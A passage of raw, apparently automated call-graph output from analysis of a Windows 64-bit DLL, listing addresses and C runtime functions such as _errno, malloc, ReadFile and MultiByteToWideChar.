API calls 16824->16827 16829 180016ccc _invalid_parameter_noinfo 7 API calls 16825->16829 16828 1800188fa 16827->16828 16831 180016ccc _invalid_parameter_noinfo 7 API calls 16828->16831 16833 18000f893 16829->16833 16830 180018979 16853 180018ad2 16830->16853 16998 18001ee44 LeaveCriticalSection 16830->16998 16831->16833 16832->16833 16833->16626 16854 180013090 16833->16854 16835 180018b0b 16838 180015d98 _errno 6 API calls 16835->16838 16839 180018b10 CloseHandle CloseHandle 16838->16839 16841 180015d28 _read_nolock 6 API calls 16839->16841 16843 180018b31 16841->16843 16843->16833 16853->16833 16853->16835 16855 1800130c6 16854->16855 16856 1800130ad 16854->16856 16858 1800130de 16855->16858 16860 18000f8cf 16855->16860 16857 180019224 _FF_MSGBANNER 23 API calls 16856->16857 16859 1800130b2 16857->16859 16999 1800150b0 16858->16999 16862 180019298 _NMSG_WRITE 23 API calls 16859->16862 16860->16614 16860->16615 16865 1800130bc 16862->16865 16864 1800130f0 16866 180015d98 _errno 6 API calls 16864->16866 16867 180010b04 malloc 2 API calls 16865->16867 16870 1800130f5 _ioinit _mtinitlocknum 16866->16870 16867->16855 16868 1800130ff 16869 180011028 free 6 API calls 16868->16869 16868->16870 16869->16870 16870->16860 16872 180016d81 16871->16872 16873 180016d69 16871->16873 16875 180016dea 16872->16875 16880 180016db3 __lock_fhandle 16872->16880 16874 180015d28 _read_nolock 6 API calls 16873->16874 16876 180016d6e 16874->16876 16877 180015d28 _read_nolock 6 API calls 16875->16877 16878 180015d98 _errno 6 API calls 16876->16878 16879 180016def 16877->16879 16881 18000f95e 16878->16881 16882 180015d98 _errno 6 API calls 16879->16882 16885 180016dd1 16880->16885 16886 180016dc6 16880->16886 16891 180018418 16881->16891 16883 180016df7 16882->16883 16884 180016ccc _invalid_parameter_noinfo 7 API calls 16883->16884 16884->16881 16887 180015d98 _errno 6 API calls 16885->16887 17004 180016e14 16886->17004 16889 180016dcd 16887->16889 17018 18001ee44 LeaveCriticalSection 16889->17018 16892 18001844f 16891->16892 16893 18001843f 16891->16893 16895 180018464 16892->16895 16896 180018454 16892->16896 16894 180015d98 _errno 6 API calls 16893->16894 16897 180018444 16894->16897 16899 1800185a1 16895->16899 16909 1800184a8 16895->16909 16898 180015d98 _errno 6 API calls 16896->16898 16901 180016ccc _invalid_parameter_noinfo 7 API calls 16897->16901 16910 18000f977 16898->16910 16900 180015d98 _errno 6 API calls 16899->16900 16900->16897 16901->16910 16902 180018568 17040 18001dccc 16902->17040 16904 18001856d 16905 180018587 16904->16905 16906 18001857a 16904->16906 17048 1800102ec 16905->17048 16907 180015d98 _errno 6 API calls 16906->16907 16907->16910 16909->16893 16909->16902 16910->16620 16911 18000fe44 16910->16911 16912 18000fe68 16911->16912 16913 18000f992 16912->16913 16914 18000fe9f 16912->16914 16913->16632 16917 1800185cc 16913->16917 17060 1800151b0 16914->17060 16920 1800185f8 16917->16920 16918 180018607 16919 180015d98 _errno 6 API calls 16918->16919 16921 18001860c 16919->16921 16920->16918 16922 180018631 16920->16922 16923 180016ccc _invalid_parameter_noinfo 7 API calls 16921->16923 17099 1800186d0 16922->17099 16925 180018618 16923->16925 16925->16635 16926 180018639 _cftoe2_l 16926->16925 17105 180012c38 16926->17105 16929 180018662 16931 180015d98 _errno 6 API calls 16929->16931 16930 180018676 16932 180018b60 _fltout2 13 API calls 16930->16932 16933 180018667 16931->16933 16934 180018684 16932->16934 16935 180015d98 _errno 6 API calls 16933->16935 16934->16925 16936 180016cec _invoke_watson 6 API calls 16934->16936 16935->16925 16936->16925 16938 180018b75 16937->16938 16939 180018b6b 16937->16939 16940 180015d98 _errno 6 API calls 16938->16940 16939->16938 16944 180018b91 16939->16944 16941 180018b7d 16940->16941 16942 180016ccc _invalid_parameter_noinfo 7 API calls 16941->16942 16943 18000fa96 16942->16943 16943->16642 16946 180018bc4 16943->16946 16944->16943 16945 180015d98 _errno 6 API calls 16944->16945 16945->16941 16947 180018bdf 16946->16947 16950 180018bd5 16946->16950 16948 180015d98 _errno 6 API calls 16947->16948 16949 180018be7 16948->16949 16951 180016ccc _invalid_parameter_noinfo 7 API calls 16949->16951 16950->16947 16953 180018c12 16950->16953 16952 18000fab0 16951->16952 16952->16646 16952->16648 16953->16952 16954 180015d98 _errno 6 API calls 16953->16954 16954->16949 16956 180018844 16955->16956 16963 18001885b 16955->16963 17293 1800109c0 16956->17293 16961 180011028 free 6 API calls 16964 18000fafe 16961->16964 16962 180018852 16965 180015d98 _errno 6 API calls 16962->16965 17313 18001fc10 16963->17313 16964->16657 16964->16658 16965->16964 16967 180018c64 16966->16967 16968 180015d98 _errno 6 API calls 16967->16968 16969 180018c7a 16967->16969 16968->16969 16969->16693 16971 180018d00 16970->16971 16972 1800122dc _LocaleUpdate::_LocaleUpdate 30 API calls 16971->16972 16973 180018d23 16972->16973 16974 180015d98 _errno 6 API calls 16973->16974 16975 180018d38 strrchr 16973->16975 16976 180018d2d 16974->16976 16975->16693 16977 180016ccc _invalid_parameter_noinfo 7 API calls 16976->16977 16977->16975 16979 18000ed61 16978->16979 16981 18000ed75 16978->16981 16980 180015d98 _errno 6 API calls 16979->16980 16983 18000ed66 16980->16983 16982 18000ed71 16981->16982 17333 180010250 16981->17333 16982->16620 16985 180016ccc _invalid_parameter_noinfo 7 API calls 16983->16985 16985->16982 16986 18000ed86 17337 18000ecc4 16986->17337 16989 1800102ec _unlock_file 2 API calls 16989->16982 16991 18001a350 _getptd_noexit 6 API calls 16990->16991 16992 180015d31 16991->16992 16992->16823 16994 180013090 _mtinitlocknum 27 API calls 16993->16994 16995 18001eaae _ioinit _mtinitlocknum __lock_fhandle 16994->16995 16996 180015030 _calloc_crt 6 API calls 16995->16996 16997 18001eab2 __lock_fhandle 16995->16997 16996->16997 16997->16830 17001 1800150d8 16999->17001 17000 180012510 malloc 26 API calls 17000->17001 17001->17000 17002 1800130e8 17001->17002 17003 1800150ec Sleep 17001->17003 17002->16864 17002->16868 17003->17001 17003->17002 17019 18001ed20 17004->17019 17007 180016e7d _read_nolock 17031 18001ec74 17007->17031 17009 180016e64 17009->17007 17012 18001ed20 _get_osfhandle 13 API calls 17009->17012 17011 18001ed20 _get_osfhandle 13 API calls 17014 180016e57 17011->17014 17015 180016e70 CloseHandle 17012->17015 17013 180016ebc 17013->16889 17017 18001ed20 _get_osfhandle 13 API calls 17014->17017 17015->17007 17016 180015d48 _dosmaperr 6 API calls 17016->17013 17017->17009 17020 18001ed29 17019->17020 17022 18001ed3e 17019->17022 17021 180015d28 _read_nolock 6 API calls 17020->17021 17023 18001ed2e 17021->17023 17024 180015d28 _read_nolock 6 API calls 17022->17024 17027 180016e28 17022->17027 17025 180015d98 _errno 6 API calls 17023->17025 17026 18001ed78 17024->17026 17025->17027 17028 180015d98 _errno 6 API calls 17026->17028 17027->17007 17027->17009 17027->17011 17029 18001ed80 17028->17029 17030 180016ccc _invalid_parameter_noinfo 7 API calls 17029->17030 17030->17027 17032 18001ec88 17031->17032 17033 18001ecf7 17031->17033 17032->17033 17038 18001ecba 17032->17038 17034 180015d98 _errno 6 API calls 17033->17034 17035 18001ecfc 17034->17035 17036 180015d28 _read_nolock 6 API calls 17035->17036 17037 180016e90 17036->17037 17037->17013 17037->17016 17038->17037 17039 18001ece2 SetStdHandle 17038->17039 17039->17037 17041 18001dce5 17040->17041 17042 18001dd6d 17041->17042 17043 18001dd61 _ioinit __lock_fhandle 17041->17043 17045 180013090 _mtinitlocknum 27 API calls 17041->17045 17053 1800102b8 17041->17053 17056 18001033c 17041->17056 17044 1800150b0 _malloc_crt 27 API calls 17042->17044 17043->16904 17044->17043 17045->17041 17049 1800102f8 17048->17049 17050 18001032f LeaveCriticalSection 17048->17050 17049->17050 17051 180010304 17049->17051 17052 1800131b4 LeaveCriticalSection 17050->17052 17051->17052 17054 1800102c6 17053->17054 17055 1800102d9 EnterCriticalSection 17053->17055 17054->17041 17057 180010341 17056->17057 17058 18001034e LeaveCriticalSection 17056->17058 17059 1800131b4 LeaveCriticalSection 17057->17059 17058->17059 17063 1800151d7 17060->17063 17062 18000feab 17062->16913 17063->17062 17064 1800151fa Sleep 17063->17064 17065 180012f3c 17063->17065 17064->17062 17064->17063 17066 180012f75 17065->17066 17067 180012f58 17065->17067 17073 180012f83 17066->17073 17074 180016948 17066->17074 17067->17066 17068 180012f66 17067->17068 17069 180015d98 _errno 6 API calls 17068->17069 17072 180012f6b _cftoa_l 17069->17072 17072->17063 17081 18001d168 17073->17081 17075 180016951 17074->17075 17076 18001696a HeapSize 17074->17076 17077 180015d98 _errno 6 API calls 17075->17077 17078 180016956 17077->17078 17079 180016ccc _invalid_parameter_noinfo 7 API calls 17078->17079 17080 180016961 17079->17080 17080->17073 17082 18001d182 17081->17082 17083 18001d18c 17081->17083 17084 180012510 malloc 26 API calls 17082->17084 17085 18001d191 17083->17085 17091 18001d198 17083->17091 17098 18001d18a _read_nolock _dosmaperr 17084->17098 17086 180011028 free 6 API calls 17085->17086 17086->17098 17087 18001d1e1 17089 18001690c _callnewh DecodePointer 17087->17089 17088 18001d19e HeapReAlloc 17088->17091 17088->17098 17092 18001d1e9 17089->17092 17090 18001d21f 17094 180015d98 _errno 6 API calls 17090->17094 17091->17087 17091->17088 17091->17090 17093 18001690c _callnewh DecodePointer 17091->17093 17096 18001d206 17091->17096 17095 180015d98 _errno 6 API calls 17092->17095 17093->17091 17094->17098 17095->17098 17097 180015d98 _errno 6 API calls 17096->17097 17097->17098 17098->17072 17100 1800186f2 17099->17100 17104 180018755 17099->17104 17102 180018705 _cftoe2_l 17100->17102 17100->17104 17112 18001fa14 17100->17112 17102->17104 17122 18001fb08 17102->17122 17104->16926 17106 18001cb3c _calloc_impl 6 API calls 17105->17106 17107 180012c4d 17106->17107 17108 180012c6a 17107->17108 17109 180015d98 _errno 6 API calls 17107->17109 17108->16929 17108->16930 17110 180012c60 17109->17110 17110->17108 17111 180015d98 _errno 6 API calls 17110->17111 17111->17108 17113 18001fae6 17112->17113 17120 18001fa3c 17112->17120 17113->17102 17114 18001fa3f WideCharToMultiByte 17114->17113 17114->17120 17115 180015030 _calloc_crt 6 API calls 17115->17120 17116 18001fa88 WideCharToMultiByte 17117 18001faf8 17116->17117 17116->17120 17118 180011028 free 6 API calls 17117->17118 17118->17113 17120->17113 17120->17114 17120->17115 17120->17116 17121 180011028 free 6 API calls 17120->17121 17141 180024ef4 17120->17141 17121->17120 17123 18001fb10 17122->17123 17209 1800122dc 17123->17209 17126 18001fb57 17128 180015d98 _errno 6 API calls 17126->17128 17127 18001fb6e 17129 18001fb78 17127->17129 17130 18001fb8a 17127->17130 17131 18001fb5c 17128->17131 17132 180015d98 _errno 6 API calls 17129->17132 17133 18001fb95 17130->17133 17134 18001fbaa 17130->17134 17135 180016ccc _invalid_parameter_noinfo 7 API calls 17131->17135 17136 18001fb7d 17132->17136 17217 1800252a8 17133->17217 17237 180016200 17134->17237 17140 18001fb46 17135->17140 17139 180016ccc _invalid_parameter_noinfo 7 API calls 17136->17139 17139->17140 17140->17102 17142 180024f23 17141->17142 17143 180024f38 17141->17143 17145 180015d98 _errno 6 API calls 17142->17145 17144 18002501a 17143->17144 17192 1800279dc 17143->17192 17147 180015d98 _errno 6 API calls 17144->17147 17148 180024f28 17145->17148 17182 180024f33 17147->17182 17149 180016ccc _invalid_parameter_noinfo 7 API calls 17148->17149 17149->17182 17150 180024f51 17150->17144 17151 180024f8f 17150->17151 17154 180015030 _calloc_crt 6 API calls 17150->17154 17152 180025045 17151->17152 17153 180025011 17151->17153 17167 18002507a 17151->17167 17156 1800150b0 _malloc_crt 27 API calls 17152->17156 17152->17182 17157 18001fa14 __wtomb_environ 51 API calls 17153->17157 17158 180024fb4 17154->17158 17155 1800250e0 17161 180025192 17155->17161 17165 180025101 17155->17165 17160 180025058 17156->17160 17162 180025016 17157->17162 17163 180024fc7 17158->17163 17166 180010c64 _amsg_exit 30 API calls 17158->17166 17159 18001fb08 __crtsetenv 45 API calls 17159->17167 17160->17167 17171 1800150b0 _malloc_crt 27 API calls 17160->17171 17160->17182 17164 180025282 17161->17164 17173 18002519e 17161->17173 17162->17144 17162->17167 17163->17151 17200 18002796c 17163->17200 17168 180011028 free 6 API calls 17164->17168 17169 180011028 free 6 API calls 17165->17169 17166->17163 17167->17155 17167->17159 17167->17182 17172 18002528a 17168->17172 17175 18002510d 17169->17175 17171->17167 17177 180016cec _invoke_watson 6 API calls 17172->17177 17174 1800151b0 _recalloc_crt 29 API calls 17173->17174 17173->17182 17179 18002515e _cftoe2_l 17174->17179 17178 1800151b0 _recalloc_crt 29 API calls 17175->17178 17175->17179 17176 18002526b 17181 180011028 free 6 API calls 17176->17181 17176->17182 17180 1800252a6 17177->17180 17178->17179 17179->17176 17179->17182 17183 180015030 _calloc_crt 6 API calls 17179->17183 17181->17182 17182->17120 17184 18002520f _cftoe2_l 17183->17184 17184->17176 17185 180018b60 _fltout2 13 API calls 17184->17185 17186 18002522e 17185->17186 17186->17172 17187 180025232 SetEnvironmentVariableA 17186->17187 17188 18002525d 17187->17188 17189 180025255 17187->17189 17190 180011028 free 6 API calls 17188->17190 17191 180015d98 _errno 6 API calls 17189->17191 17190->17176 17191->17188 17193 1800279e4 17192->17193 17194 1800122dc _LocaleUpdate::_LocaleUpdate 30 API calls 17193->17194 17195 180027a05 17194->17195 17196 180027a1c strchr 17195->17196 17197 180015d98 _errno 6 API calls 17195->17197 17196->17150 17198 180027a11 17197->17198 17199 180016ccc _invalid_parameter_noinfo 7 API calls 17198->17199 17199->17196 17201 180027983 _cftoe2_l 17200->17201 17206 1800279af 17200->17206 17202 180012510 malloc 26 API calls 17201->17202 17203 180027994 17202->17203 17204 180018b60 _fltout2 13 API calls 17203->17204 17203->17206 17205 1800279ab 17204->17205 17205->17206 17207 180016cec _invoke_watson 6 API calls 17205->17207 17206->17163 17208 1800279db 17207->17208 17210 1800122f2 17209->17210 17216 180012353 17209->17216 17211 18001a32c _getptd 30 API calls 17210->17211 17212 1800122f7 17211->17212 17213 18001232c 17212->17213 17242 18001b7e4 17212->17242 17213->17216 17252 180019c04 17213->17252 17216->17126 17216->17127 17216->17140 17218 1800122dc _LocaleUpdate::_LocaleUpdate 30 API calls 17217->17218 17219 1800252d1 17218->17219 17220 1800252e7 17219->17220 17221 1800252fe 17219->17221 17235 1800252d6 17219->17235 17222 180015d98 _errno 6 API calls 17220->17222 17224 180025308 17221->17224 17225 18002531a 17221->17225 17223 1800252ec 17222->17223 17228 180016ccc _invalid_parameter_noinfo 7 API calls 17223->17228 17229 180015d98 _errno 6 API calls 17224->17229 17226 180025342 17225->17226 17227 18002532b 17225->17227 17231 180016200 __crtCompareStringA 38 API calls 17226->17231 17259 1800276f8 17227->17259 17228->17235 17232 18002530d 17229->17232 17234 180025369 17231->17234 17233 180016ccc _invalid_parameter_noinfo 7 API calls 17232->17233 17233->17235 17234->17235 17236 180015d98 _errno 6 API calls 17234->17236 17235->17140 17236->17235 17238 1800122dc _LocaleUpdate::_LocaleUpdate 30 API calls 17237->17238 17239 180016225 17238->17239 17270 180015e98 17239->17270 17243 18001a32c _getptd 30 API calls 17242->17243 17244 18001b7ef 17243->17244 17245 18001b818 17244->17245 17246 18001b80a 17244->17246 17248 18001b85c _updatetlocinfoEx_nolock 6 API calls 17245->17248 17247 18001a32c _getptd 30 API calls 17246->17247 17249 18001b80f 17247->17249 17248->17249 17250 18001b850 17249->17250 17251 180010c64 _amsg_exit 30 API calls 17249->17251 17250->17213 17251->17250 17253 18001a32c _getptd 30 API calls 17252->17253 17257 180019c13 17253->17257 17254 180019c2e 17255 180019cb0 17254->17255 17256 180010c64 _amsg_exit 30 API calls 17254->17256 17255->17216 17256->17255 17257->17254 17258 180011028 free 6 API calls 17257->17258 17258->17254 17260 18002774e _strnicmp_l 17259->17260 17261 18002771e 17259->17261 17260->17235 17262 1800122dc _LocaleUpdate::_LocaleUpdate 30 API calls 17261->17262 17263 18002772a 17262->17263 17264 18002773e 17263->17264 17266 180027750 17263->17266 17265 180015d98 _errno 6 API calls 17264->17265 17267 180027743 17265->17267 17266->17260 17269 180012384 39 API calls _tolower_l 17266->17269 17268 180016ccc _invalid_parameter_noinfo 7 API calls 17267->17268 17268->17260 17269->17266 17274 180015ee7 17270->17274 17271 1800121d0 _fltout2 RtlCaptureContext RtlLookupFunctionEntry 17272 1800161ec 17271->17272 17272->17140 17273 180015ff2 MultiByteToWideChar 17275 18001601a 17273->17275 17283 180015f31 17273->17283 17274->17273 17276 180015f85 GetCPInfo 17274->17276 17274->17283 17281 180012510 malloc 26 API calls 17275->17281 17284 180016057 __crtLCMapStringA_stat 17275->17284 17277 180015f96 17276->17277 17276->17283 17277->17273 17277->17283 17278 1800160ab MultiByteToWideChar 17279 1800160d1 MultiByteToWideChar 17278->17279 17280 1800161cd 17278->17280 17279->17280 17286 1800160fa 17279->17286 17282 180011028 free 6 API calls 17280->17282 17280->17283 17281->17284 17282->17283 17283->17271 17284->17278 17284->17283 17285 18001617b MultiByteToWideChar 17287 1800161ba 17285->17287 17288 18001619e 17285->17288 17290 180012510 malloc 26 API calls 17286->17290 17292 180016129 __crtLCMapStringA_stat 17286->17292 17287->17280 17291 180011028 free 6 API calls 17287->17291 17289 18001635c __crtCompareStringEx CompareStringW 17288->17289 17289->17287 17290->17292 17291->17280 17292->17280 17292->17285 17294 1800109e6 17293->17294 17295 1800109fe 17293->17295 17297 180015d98 _errno 6 API calls 17294->17297 17295->17294 17296 180010a03 __crtIsPackagedApp 17295->17296 17300 180010a12 AreFileApisANSI 17296->17300 17301 180010a1e MultiByteToWideChar 17296->17301 17298 1800109eb 17297->17298 17299 180016ccc _invalid_parameter_noinfo 7 API calls 17298->17299 17312 1800109f7 17299->17312 17300->17301 17302 180010a56 17301->17302 17303 180010a45 _read_nolock 17301->17303 17304 1800150b0 _malloc_crt 27 API calls 17302->17304 17307 180015d48 _dosmaperr 6 API calls 17303->17307 17305 180010a61 17304->17305 17306 180010a69 MultiByteToWideChar 17305->17306 17305->17312 17308 180010a87 _read_nolock 17306->17308 17306->17312 17307->17312 17309 180015d48 _dosmaperr 6 API calls 17308->17309 17310 180010a94 17309->17310 17311 180011028 free 6 API calls 17310->17311 17311->17312 17312->16962 17312->16963 17314 18001fc49 17313->17314 17315 18001fc2c 17313->17315 17314->17315 17316 18001fc51 GetFileAttributesExW 17314->17316 17317 180015d28 _read_nolock 6 API calls 17315->17317 17318 18001fc62 _read_nolock 17316->17318 17326 18001fc78 17316->17326 17319 18001fc31 17317->17319 17325 180015d48 _dosmaperr 6 API calls 17318->17325 17321 180015d98 _errno 6 API calls 17319->17321 17320 18001fc45 17324 1800121d0 _fltout2 2 API calls 17320->17324 17322 18001fc39 17321->17322 17323 180016ccc _invalid_parameter_noinfo 7 API calls 17322->17323 17323->17320 17327 18001886a 17324->17327 17328 18001fc6f 17325->17328 17326->17320 17329 180015d28 _read_nolock 6 API calls 17326->17329 17327->16961 17331 180015d98 _errno 6 API calls 17328->17331 17330 18001fc90 17329->17330 17332 180015d98 _errno 6 API calls 17330->17332 17331->17320 17332->17328 17334 1800102a5 EnterCriticalSection 17333->17334 17335 180010265 17333->17335 17335->17334 17336 180010271 17335->17336 17336->16986 17338 18000ecd9 17337->17338 17339 18000eced 17337->17339 17340 180015d98 _errno 6 API calls 17338->17340 17341 18000ece9 17339->17341 17353 18000edf4 17339->17353 17342 18000ecde 17340->17342 17341->16989 17344 180016ccc _invalid_parameter_noinfo 7 API calls 17342->17344 17344->17341 17350 180016d50 _close 16 API calls 17351 18000ed11 17350->17351 17351->17341 17352 180011028 free 6 API calls 17351->17352 17352->17341 17354 18000ee11 17353->17354 17358 18000ecf8 17353->17358 17355 180016d28 _fileno 13 API calls 17354->17355 17354->17358 17356 18000ee28 17355->17356 17369 180016fe0 17356->17369 17359 180016ed0 17358->17359 17360 18000ed02 17359->17360 17361 180016edf 17359->17361 17363 180016d28 17360->17363 17361->17360 17362 180011028 free 6 API calls 17361->17362 17362->17360 17364 180016d31 17363->17364 17365 18000ed0a 17363->17365 17366 180015d98 _errno 6 API calls 17364->17366 17365->17350 17367 180016d36 17366->17367 17368 180016ccc _invalid_parameter_noinfo 7 API calls 17367->17368 17368->17365 17370 180017003 17369->17370 17371 18001701b 17369->17371 17372 180015d28 _read_nolock 6 API calls 17370->17372 17373 180017094 17371->17373 17379 18001704e __lock_fhandle 17371->17379 17375 180017008 17372->17375 17374 180015d28 _read_nolock 6 API calls 17373->17374 17376 180017099 17374->17376 17377 180015d98 _errno 6 API calls 17375->17377 17378 180015d98 _errno 6 API calls 17376->17378 17390 180017010 17377->17390 17380 1800170a1 17378->17380 17382 180017062 17379->17382 17383 180017073 17379->17383 17381 180016ccc _invalid_parameter_noinfo 7 API calls 17380->17381 17381->17390 17391 1800170c4 17382->17391 17385 180015d98 _errno 6 API calls 17383->17385 17387 180017078 17385->17387 17386 18001706f 17428 18001ee44 LeaveCriticalSection 17386->17428 17388 180015d28 _read_nolock 6 API calls 17387->17388 17388->17386 17390->17358 17392 1800170e6 __crtLCMapStringA_stat 17391->17392 17393 180017142 17392->17393 17394 180017122 17392->17394 17419 180017116 17392->17419 17395 180017190 17393->17395 17398 180017185 17393->17398 17396 180015d28 _read_nolock 6 API calls 17394->17396 17399 1800171a5 17395->17399 17403 180018384 _lseeki64_nolock 14 API calls 17395->17403 17400 180017127 17396->17400 17397 1800121d0 _fltout2 RtlCaptureContext RtlLookupFunctionEntry 17401 18001789a 17397->17401 17402 180015d28 _read_nolock 6 API calls 17398->17402 17404 18001ee70 _isatty 13 API calls 17399->17404 17406 180015d98 _errno 6 API calls 17400->17406 17401->17386 17402->17400 17403->17399 17405 1800171ac 17404->17405 17409 18001a32c _getptd 30 API calls 17405->17409 17422 180017470 _read_nolock _write_nolock 17405->17422 17407 18001712f 17406->17407 17408 180016ccc _invalid_parameter_noinfo 7 API calls 17407->17408 17408->17419 17410 1800171d5 GetConsoleMode 17409->17410 17411 180017215 17410->17411 17410->17422 17413 180017224 GetConsoleCP 17411->17413 17411->17422 17412 180017849 17414 180015d98 _errno 6 API calls 17412->17414 17412->17419 17413->17412 17423 180017248 _write_nolock 17413->17423 17415 180017875 17414->17415 17417 180015d28 _read_nolock 6 API calls 17415->17417 17416 180017736 WideCharToMultiByte 17416->17422 17417->17419 17418 18001b9e0 isleadbyte 30 API calls 17418->17423 17419->17397 17420 1800172fa WideCharToMultiByte 17420->17422 17420->17423 17421 180017842 17425 180015d48 _dosmaperr 6 API calls 17421->17425 17422->17412 17422->17416 17422->17419 17422->17421 17424 180015d98 _errno 6 API calls 17422->17424 17427 180015d28 _read_nolock 6 API calls 17422->17427 17423->17418 17423->17420 17423->17422 17426 18001f02c WriteConsoleW CreateFileW _putwch_nolock 17423->17426 17424->17422 17425->17412 17426->17423 17427->17422 17430 1800178cf 17429->17430 17434 1800178e4 17429->17434 17431 180015d98 _errno 6 API calls 17430->17431 17432 1800178d4 17431->17432 17433 180016ccc _invalid_parameter_noinfo 7 API calls 17432->17433 17441 1800178df 17433->17441 17435 180017918 17434->17435 17434->17441 17449 180018f14 17434->17449 17437 180016d28 _fileno 13 API calls 17435->17437 17438 180017929 17437->17438 17452 18001f088 17438->17452 17441->16711 17442 180016d28 _fileno 13 API calls 17443 180017955 17442->17443 17443->17441 17444 180016d28 _fileno 13 API calls 17443->17444 17445 180017962 17444->17445 17445->17441 17446 180016d28 _fileno 13 API calls 17445->17446 17447 18001796f 17446->17447 17448 180016d28 _fileno 13 API calls 17447->17448 17448->17441 17450 1800150b0 _malloc_crt 27 API calls 17449->17450 17451 180018f2d 17450->17451 17451->17435 17453 18001f0b1 17452->17453 17454 18001f0ca 17452->17454 17455 180015d28 _read_nolock 6 API calls 17453->17455 17456 18001f172 17454->17456 17460 18001f108 17454->17460 17457 18001f0b6 17455->17457 17458 180015d28 _read_nolock 6 API calls 17456->17458 17459 180015d98 _errno 6 API calls 17457->17459 17461 18001f177 17458->17461 17478 180017938 17459->17478 17463 18001f118 17460->17463 17464 18001f12c __lock_fhandle 17460->17464 17462 180015d98 _errno 6 API calls 17461->17462 17465 18001f124 17462->17465 17466 180015d28 _read_nolock 6 API calls 17463->17466 17468 18001f152 17464->17468 17469 18001f141 17464->17469 17470 180016ccc _invalid_parameter_noinfo 7 API calls 17465->17470 17467 18001f11d 17466->17467 17471 180015d98 _errno 6 API calls 17467->17471 17473 180015d98 _errno 6 API calls 17468->17473 17479 18001f1a4 17469->17479 17470->17478 17471->17465 17475 18001f157 17473->17475 17474 18001f14e 17544 18001ee44 LeaveCriticalSection 17474->17544 17476 180015d28 _read_nolock 6 API calls 17475->17476 17476->17474 17478->17441 17478->17442 17480 18001f1f5 17479->17480 17481 18001f1de 17479->17481 17482 18001f9e9 17480->17482 17496 18001f237 17480->17496 17483 180015d28 _read_nolock 6 API calls 17481->17483 17484 180015d28 _read_nolock 6 API calls 17482->17484 17485 18001f1e3 17483->17485 17487 18001f9ee 17484->17487 17486 180015d98 _errno 6 API calls 17485->17486 17492 18001f1ea 17486->17492 17488 180015d98 _errno 6 API calls 17487->17488 17490 18001f24b 17488->17490 17489 18001f23f 17491 180015d28 _read_nolock 6 API calls 17489->17491 17494 180016ccc _invalid_parameter_noinfo 7 API calls 17490->17494 17493 18001f244 17491->17493 17492->17474 17495 180015d98 _errno 6 API calls 17493->17495 17494->17492 17495->17490 17496->17489 17496->17492 17497 18001f286 17496->17497 17498 18001f2a2 17496->17498 17497->17489 17501 18001f292 17497->17501 17499 1800150b0 _malloc_crt 27 API calls 17498->17499 17500 18001f2b2 17499->17500 17502 18001f2d5 17500->17502 17503 18001f2ba 17500->17503 17545 18001ee70 17501->17545 17553 180018384 17502->17553 17505 180015d98 _errno 6 API calls 17503->17505 17508 18001f2bf 17505->17508 17513 180015d28 _read_nolock 6 API calls 17508->17513 17509 18001f44b ReadFile 17511 18001f47b 17509->17511 17512 18001f9af _read_nolock 17509->17512 17511->17512 17517 18001f440 17511->17517 17519 18001f42b _read_nolock 17512->17519 17520 18001f9ba 17512->17520 17515 18001f2ca 17513->17515 17514 18001f3e2 GetConsoleMode 17514->17509 17516 18001f3f7 17514->17516 17515->17492 17516->17509 17518 18001f3fd ReadConsoleW 17516->17518 17526 18001f438 17517->17526 17530 18001f4ba 17517->17530 17534 18001f75f 17517->17534 17518->17517 17518->17519 17522 180015d48 _dosmaperr 6 API calls 17519->17522 17519->17526 17521 180015d98 _errno 6 API calls 17520->17521 17523 18001f9bf 17521->17523 17522->17526 17524 180015d28 _read_nolock 6 API calls 17523->17524 17524->17526 17525 180011028 free 6 API calls 17525->17492 17526->17492 17526->17525 17527 18001f63e 17528 18001f6f8 MultiByteToWideChar 17527->17528 17528->17526 17531 18001f726 _read_nolock 17528->17531 17529 18001f535 ReadFile 17532 18001f561 _read_nolock 17529->17532 17530->17529 17535 18001f5fa 17530->17535 17538 180015d48 _dosmaperr 6 API calls 17531->17538 17532->17530 17540 180018384 _lseeki64_nolock 14 API calls 17532->17540 17533 18001f88c ReadFile 17543 18001f8b9 _read_nolock 17533->17543 17534->17526 17534->17533 17535->17526 17535->17527 17536 18001f679 17535->17536 17539 18001f689 17535->17539 17537 180015d98 _errno 6 API calls 17536->17537 17537->17526 17538->17526 17539->17527 17541 180018384 _lseeki64_nolock 14 API calls 17539->17541 17540->17532 17541->17528 17542 180018384 _lseeki64_nolock 14 API calls 17542->17543 17543->17534 17543->17542 17546 18001ee86 17545->17546 17547 18001ee79 17545->17547 17549 180015d98 _errno 6 API calls 17546->17549 17551 18001ee7e 17546->17551 17548 180015d98 _errno 6 API calls 17547->17548 17548->17551 17550 18001eebd 17549->17550 17552 180016ccc _invalid_parameter_noinfo 7 API calls 17550->17552 17551->17509 17551->17514 17552->17551 17554 18001ed20 _get_osfhandle 13 API calls 17553->17554 17555 1800183a3 17554->17555 17556 1800183ba SetFilePointerEx 17555->17556 17557 1800183a9 17555->17557 17559 1800183d2 _read_nolock 17556->17559 17560 1800183ae 17556->17560 17558 180015d98 _errno 6 API calls 17557->17558 17558->17560 17561 180015d48 _dosmaperr 6 API calls 17559->17561 17560->17501 17561->17560 17563 180018793 WaitForSingleObject 17562->17563 17564 18001880b 17562->17564 17565 1800187a3 GetExitCodeProcess 17563->17565 17566 1800187ba _read_nolock 17563->17566 17567 180015d98 _errno 6 API calls 17564->17567 17565->17566 17577 1800187b5 CloseHandle 17565->17577 17570 1800187c5 17566->17570 17571 1800187dd _read_nolock 17566->17571 17568 18000f77e 17567->17568 17568->16739 17568->16740 17573 180015d98 _errno 6 API calls 17570->17573 17576 180015d48 _dosmaperr 6 API calls 17571->17576 17572 180018800 17572->17568 17574 1800187ca 17573->17574 17575 180015d28 _read_nolock 6 API calls 17574->17575 17575->17577 17576->17577 17577->17572 17579 180011875 _cftoe2_l 17578->17579 17580 1800078ed 17578->17580 17581 180012510 malloc 26 API calls 17579->17581 17580->16745 17582 18001189e 17581->17582 17582->17580 17583 180018b60 _fltout2 13 API calls 17582->17583 17583->17580 17585 180004fb6 17584->17585 17586 180004f1a 17584->17586 17603 18000e108 17585->17603 17587 180004fc2 17586->17587 17588 180004f38 17586->17588 17590 18000e0d0 std::_System_error::_System_error 28 API calls 17587->17590 17591 180004594 std::system_error::system_error 28 API calls 17588->17591 17598 180004f4f _expandlocale 17588->17598 17599 180004fcf 17590->17599 17591->17598 17592 18000503e 17593 1800050bb 17592->17593 17594 18000504e 17592->17594 17595 18000e0d0 std::_System_error::_System_error 28 API calls 17593->17595 17597 180004594 std::system_error::system_error 28 API calls 17594->17597 17601 18000503c _expandlocale 17594->17601 17596 1800050c7 17595->17596 17597->17601 17598->16760 17599->17592 17600 